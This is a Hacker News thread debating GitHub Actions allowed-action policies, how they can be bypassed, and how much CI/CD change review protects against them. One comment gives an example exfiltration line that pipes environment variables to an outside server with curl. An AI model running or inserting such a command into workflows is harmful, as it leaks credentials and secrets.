Hacker News Reader

Comment by hiatus | Hacker News Reader

That the policy can be "bypassed" by a code change doesn't seem so severe. If you are not reviewing changes to your CI/CD workflows all hope is lost. Your code could be exfiltrated, secrets stolen, and more.

View on HN

The point of the post is that review is varied in practice: if you’re a large organization you should be reviewing the code itself for changes, but I suspect many orgs aren’t tracking every action (and every version of every action) introduced in CI/CD changes. That’s what policies are useful for, and why bypasses are potentially dangerous.

Or as an intuitive framing: if you can understand the value of branch protection and secret pushing policies for helping your junior engineers, the same holds for your CI/CD policies.

The problem is not related to tracking every action or version in CI/CD changes. Right now, you can just curl a binary and run that. How is that any different from the exploit here? I guess people may have had a false sense of security if they had implemented those policies, but I would posit those people didn't really understand their CI/CD system if they thought those policies alone would prevent arbitrary code execution.

I think it's a difference in category; pulling random binaries from the Internet is obviously not good, but it's empirically mostly done in a pointwise manner. Actions on the other hand are pulled from a "marketplace", are subject to automatic bumps via things like Dependanbot and Renovate, can be silently rewritten thanks to tag mutability, etc.

Clearly in an ideal world runners would be hermetic. But I think the presence of other sources of non-hermeticity doesn't justify a poorly implemented policy feature on GitHub's part.

“We only allow actions published by our organization and reusable workflows”

and

“We only allow actions published by our organization and reusable workflows OR ones that are manually downloaded from an outside source”

are very very different policies

But there is no policy preventing external downloads in general, is there? I can curl a random script from a malicious website, too.

It's not simply a matter of review; depending on your setup these bypasses could be run before anyone even has eyes on the changes if your CI is triggered on push or on PR creation.

But similarly, couldn't you just write harmful stuff straight into the action itself?

You definitely could, but it is more nuanced than that. You really don't want to be seen doing `env | curl -X POST http://myserver.cn` in a company repository. But using a legitly named action doesn't look too suspicious.

`pull_request_target` (which has access to secrets) runs in the context of the destination branch, so any malicious workflow would need to have already been committed.

GitHub has a page on this:

https://securitylab.github.com/resources/github-actions-prev...

Reply on news.ycombinator.com